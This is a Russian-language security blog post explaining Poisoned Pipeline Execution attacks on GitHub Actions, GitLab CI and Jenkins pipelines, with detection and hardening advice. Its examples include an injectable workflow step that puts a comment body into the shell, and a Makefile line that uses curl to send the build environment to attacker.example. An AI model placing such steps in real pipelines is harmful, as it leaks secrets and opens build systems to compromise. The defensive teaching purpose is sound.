Poisoned Pipeline Execution: незаметный взлом через GitHub Actions и GitLab

Poisoned Pipeline Execution: незаметный взлом через GitHub Actions и GitLab

Конвейеры непрерывной интеграции и доставки автоматизируют сборку, тестирование и выкладку программного обеспечения. Эти процессы запускаются по событиям из системы управления исходным кодом, применяют описания в YAML, вызывают скрипты, получают секреты, общаются с реестрами артефактов и облаками. Если злоумышленник добивается выполнения собственных команд внутри такого конвейера, он получает доступ к тем же ресурсам, что и сборочный узел, включая ключи к инфраструктуре и хранилищам пакетов. Этот класс угроз называется Poisoned Pipeline Execution, сокращённо PPE. По определению OWASP, это ситуация, когда атакующий, имея права в системе управления исходным кодом и не имея прямого доступа к среде сборки, изменяет логику конвейера так, что в ходе сборки выполняются вредоносные команды.

Сначала основы: из чего состоит типичный конвейер

Конвейер CI/CD управляется конфигурацией. В ней перечислены этапы и задания, указаны условия запуска, заданы образы и окружение, перечислены внешние зависимости и скрипты. Запуск обычно происходит по событиям из репозитория: коммит, Pull Request или Merge Request, тег, релиз. Конвейер получает маркеры доступа и секреты из менеджера секретов платформы, подключает раннер, выполняет команды шаг за шагом, публикует артефакты и может развернуть сборку в окружении. Любая возможность влиять на конфигурацию или на файлы и параметры, от которых она зависит, при неправильной настройке приводит к выполнению произвольных команд внутри сборочного окружения.

Три варианта PPE: прямой, косвенный и публичный

Прямой PPE. Атакующий добивается изменения файла конфигурации конвейера в целевом репозитории. Это может быть .github/workflows в GitHub Actions, .gitlab-ci.yml в GitLab CI или Jenkinsfile в Jenkins. Изменение вносится посредством коммита в незащищённую ветку или Pull Request, после чего запускается сборка, и заданные в конфигурации команды выполняются на раннере.

Косвенный PPE. Прямое изменение конфигурации недоступно, потому что файл читается из защищённой ветки, отдельного репозитория или хранится в настройках CI. Тогда атакующий меняет зависимости, на которые опирается конфигурация: Makefile, скрипты, тесты, конфигурации линтеров и сканеров, подключаемые YAML через include. В результате при запуске конвейера вредоносные команды исполняются в контексте сборки, хотя файл самого конвейера не трогался.

Публичный PPE. В открытых проектах сборки часто запускаются на предложения извне. Если конвейер принимает код анонимных участников и выполняет его на тех же раннерах, что и приватные проекты, возникает возможность запуска произвольного кода с доступом к внутренним сетям и артефактам. Такой сценарий выделяют как отдельный тип публичной атаки PPE.

Почему эта угроза критична

Конвейер обычно располагает широкими правами: доступом к облачным аккаунтам, реестрам контейнеров, подписи релизов, ключам автоматизации и внутренним сетевым сегментам. Успешная атака приводит к краже секретов, подмене артефактов, внедрению закладок в исходный код или контейнерные образы, а также к закреплению внутри инфраструктуры через исполняющую среду раннера. Современные разборы показывают рост атак, использующих именно этот класс ошибок и недонастроек, а также выделяют практические различия между тремя типами PPE и методы их эксплуатации.

Как именно происходит компрометация: общий сценарий

Доступ к репозиторию добывается через фишинг, подбор паролей, перехват токенов, уязвимости интеграций или за счёт внутренних прав. Затем вносятся изменения либо в саму конфигурацию конвейера, либо в любые файлы, которые она выполняет. После этого инициируется сборка обычным событием: пуш, Pull Request, Release. Вредоносные шаги выполняются под учётными данными конвейера, позволяя извлекать секреты и взаимодействовать с внешними сервисами от имени организации. OWASP фиксирует именно такой путь развития атаки и подчёркивает, что запуск непроверенного кода повышает вероятность успеха.

Особенности популярных платформ

GitHub Actions

Часть уязвимостей связана с неаккуратной работой с непроверенным вводом в выражениях и шагах. Ошибки в обработке данных событий репозитория приводят к выполнению команд, а использование общих или собственных раннеров увеличивает поверхность атаки. Демонстрировались сценарии, где форк отправлял задание на собственный раннер и добивался устойчивого присутствия на узле, после чего получал токены и ключи. Практические разборы рекомендуют ограничивать права встроенного маркера, изолировать раннеры для внешних запросов и требовать ручного подтверждения для конвейеров из форков.

Отдельная тема — сборки из форков. Секреты по умолчанию недоступны таким задачам, однако выполнение произвольных программ всё равно возможно. Злоумышленники использовали Pull Request для запуска майнеров или вспомогательных полезных нагрузок на раннерах, что не требует доступа к секретам. Это пример публичного PPE и одновременно способ израсходовать ресурсы.

GitLab CI/CD

В GitLab широко применяется механизм include для подключения внешних YAML. Это мощный инструмент переиспользования, но неправильное обращение с источниками и версиями подключаемых файлов приводит к косвенному PPE: изменение подключаемого файла или параметра ref даёт управление шагами конвейера. Рекомендация — фиксировать источник и ревизию, а также проводить аудит всех удалённых включений. Документация GitLab описывает возможности include и варианты подключения локальных и удалённых файлов.

Jenkins

Часто конфигурация хранится в Jenkinsfile, а выполнение завязано на скрипты и Makefile внутри репозитория. Если Jenkinsfile берётся из защищённой ветки, а изменение конфигурации закрыто, атакующий всё равно может модифицировать вызываемые файлы. OWASP приводит типовой пример: в Makefile добавляется отправка значений окружения, и при выполнении стадии сборки секреты утекут на внешний узел. Это классический косвенный PPE. Команда разработчиков Jenkins регулярно предупреждает об уязвимостях в плагинах, включая хранящиеся в открытом виде токены.

На что нацелены атакующие и что именно выполняется

  • Кража секретов. Токены облаков, ключи публикации в реестры артефактов, маркеры доступа к SCM, пароли к базам и брокерам сообщений. Конвейер обычно имеет их в переменных окружения или получает через менеджер секретов на время шага.

  • Подмена артефактов и релизов. Вредоносные изменения в контейнерных образах, пакетах, бинарных файлах и инфраструктурных шаблонах.

  • Закрепление в инфраструктуре. Установка дополнительного агента на собственных раннерах, создание новых подключений, подготовка боковых перемещений.

  • Экономический ущерб. Запуск вычислительно затратных задач вроде майнинга на общедоступных раннерах.

Индикаторы компрометации и наблюдаемость

  • Неожиданные изменения в файлах конвейера, появление новых include или внешних ссылок, новые шаги публикации и развёртывания.

  • Запуски задач из нетипичных веток и форков, новые подписи раннеров, переключение с управляемых на локальные агенты.

  • Исходящие соединения к незнакомым доменам и IP во время сборки, утечки переменных окружения в журналы, появление нестандартных утилит и фоновых процессов на узлах.

  • Внезапные релизы или перезаливки артефактов при неизменённом коде приложения, новые токены и ключи, созданные от имени сервисных учетных записей конвейера.

Технические причины уязвимости

В основе PPE лежит совокупность факторов: запуск непроверенного кода, расширенные права маркеров доступа, отсутствие изоляции для внешних вкладов, общий пул раннеров для проектов с разной степенью критичности, подключение внешних конфигураций без фиксации источника, использование переменных в путях к include и скриптам, доверие к содержимому артефактов и отчётов без проверки происхождения.

Как снижать риск: практические меры защиты

  • Разделять доверенные и недоверенные сборки. Внешние вкладки, сборки из форков и экспериментальные ветки запускать на изолированных раннерах без секретов и доступа к приватным сетям. Для открытых проектов вводить ручное подтверждение конвейера от контрибьюторов, у которых не было одобренных изменений.

  • Ограничивать права маркеров. В GitHub Actions задавать минимальные разрешения для встроенного маркера, использовать средовые ограничения и требуемых утверждающих для критичных окружений, в GitLab ограничивать переменные как защищённые, привязывать их к веткам и тэгам, в Jenkins применять ограничения на узлах и учетных данных.

  • Защитить конфигурацию конвейера. Включить защиту веток с конфигурациями, вынести критичные конфигурации в отдельные репозитории с отдельными правами, закрыть прямое редактирование через Pull Request без обязательного ревью.

  • Контролировать внешние включения. В GitLab фиксировать источник и ревизию include, исключить динамическое формирование ref из пользовательских переменных, периодически ревизовать список подключаемых файлов.

  • Проверять ввод в выражениях и шагах. В GitHub Actions избегать прямой подстановки полей событий в командные строки и аргументы интерпретаторов, использовать безопасные промежуточные переменные и строгие фильтры значений.

  • Изолировать раннеры. Локальные агенты для недоверенных задач размещать в отдельных сетях, делать их эфемерными, запрещать длительные фоновые процессы между заданиями, очищать диски и кэш после завершения.

  • Минимизировать секреты. Переходить на краткоживущие маркеры через федерацию с OIDC, сужать область действия и время жизни ключей, ограничивать перечень доступных секретов на уровне шага, а не всего задания.

  • Валидация происхождения артефактов. Подписывать сборки и контейнерные образы, хранить аттестации процесса сборки, проверять политику перед установкой артефактов в последующих стадиях.

  • Политики и автоматическая проверка. Применять правила для событий запуска, источников Pull Request, типов раннеров и разрешений маркера. Проверять конвейеры статическими правилами и политиками до выполнения.

  • Наблюдаемость. Включить детализированные журналы для раннеров и сетевых вызовов во время сборок, строить оповещения по нетипичным доменам, новым include, изменениям в файлах конфигурации и нехарактерным публикациям релизов.

Примеры конфигураций: небезопасные и безопасные варианты

GitHub Actions: небезопасная подстановка входных данных

 
 name: pr-comment 
 on: issue_comment: 
 jobs: 
 echo-comment: 
 if: ${{ github.event.pull_request }} 
 runs-on: ubuntu-latest 
 steps: 
 - run: echo ${{ github.event.comment.body }} 
 

Такая конструкция даёт возможность внедрить произвольную последовательность, которая будет интерпретирована оболочкой. Рекомендация — передавать данные через переменную окружения, выполнять строгую фильтрацию и не использовать прямую интерполяцию.

GitLab CI: небезопасное подключение внешнего YAML

 
 # Плохая практика: ref управляется переменной 
 include: 
 - project: group/ci-templates 
 file: /secure.yml 
 ref: $TEMPLATE_REF 
 

Если значение переменной может изменять участник с ограниченными правами, он получит контроль над подключаемым файлом на другой ревизии. Безопаснее фиксировать конкретный тег или хеш и не позволять пользователям подменять его через переменные.

Jenkins: косвенный PPE через Makefile

 
 # Jenkinsfile берёт секреты на стадии сборки и запускает make 
 withAWS(credentials: 'prod', region: 'us-east-1') { 
 sh 'make build' 
 } 
 
 
 # Изменённый Makefile в Pull Request 
 build: 
 @curl -d "$$(env)" https://attacker.example/upload 
 

Секреты, загруженные на стадии, утекут через изменённую цель Makefile при запуске сборки. Этот приём описан в примерах OWASP для косвенного PPE.

Отличия PPE от других рисков цепочки поставок

PPE опирается на права в системе управления исходным кодом и на конфигурацию конвейера. В отличие от атак на зависимости, где цель — подмена внешнего пакета или регистра, PPE достигает выполнения кода внутри сборочной инфраструктуры организации. По сравнению с компрометацией системы сборки на уровне хоста PPE чаще использует штатные механизмы платформы: события репозитория, конфигурации YAML, подключаемые файлы, маркеры доступа, переменные и раннеры. Обобщающие материалы фиксируют этот вектор отдельно в перечне ключевых рисков CI/CD.

Типичные ошибки настройки, которые приводят к PPE

  • Запуск сборок для внешних вкладок на общих раннерах с доступом к секретам и внутренним сетям.

  • Широкие разрешения маркеров по умолчанию и отсутствие ограничений на запись в репозиторий из конвейера.

  • Динамические include и использование пользовательских переменных в путях к подключаемым конфигурациям.

  • Обработка непроверенного ввода в шагах, отсутствие экранирования и валидации.

  • Долгоживущие локальные раннеры без очистки состояния и без сетевой изоляции.

  • Отсутствие защиты веток и обязательного ревью для изменений в конфигурации конвейера и подключаемых файлов.

Диагностика и реагирование

При подозрении на PPE требуется немедленно остановить задания, отозвать все маркеры, пересоздать секреты, заблокировать публикацию артефактов, перевести конвейеры на изолированные раннеры без сети, включить детальный аудит. Далее — проанализировать журналы выполнения, сетевые следы, изменения в репозитории, сравнить конфигурации include, проверить целостность последних релизов. После купирования — внедрить защитные меры из чек-листа ниже и провести ретроспективу настроек.

Краткий чек-лист для снижения риска

  • Разделять раннеры для внешних вкладов и внутренних задач, использовать эфемерные агенты.

  • Ограничивать права токенов и применять минимальные разрешения для каждого шага конвейера.

  • Защищать ветки с конфигурациями и требовать обязательное ревью для критичных изменений.

  • Фиксировать версии внешних include и проводить их регулярный аудит.

  • Валидировать ввод в шагах и избегать прямой подстановки пользовательских данных.

  • Использовать изолированные и эфемерные раннеры для недоверенных задач.

  • Внедрить мониторинг и алерты на подозрительную активность в конвейерах.

CI/CD GitHub Actions GitLab CI Jenkins Poisoned Pipeline Execution PPE кибератаки
Alt text
Обращаем внимание, что все материалы в этом блоге представляют личное мнение их авторов. Редакция SecurityLab.ru не несет ответственности за точность, полноту и достоверность опубликованных данных. Вся информация предоставлена «как есть» и может не соответствовать официальной позиции компании.

Защитите бизнес от сбоев!

На вебинаре 25 сентября узнайте, как автоматизировать процессы непрерывности (BCP/BIA) и создать «запасной парашют». Практические решения для анализа рисков, контроля задач и тестирования планов.

Реклама. 18+, ООО «Интеллектуальная безопасность», ИНН 7719435412


Техно Леди

Технологии и наука для гуманитариев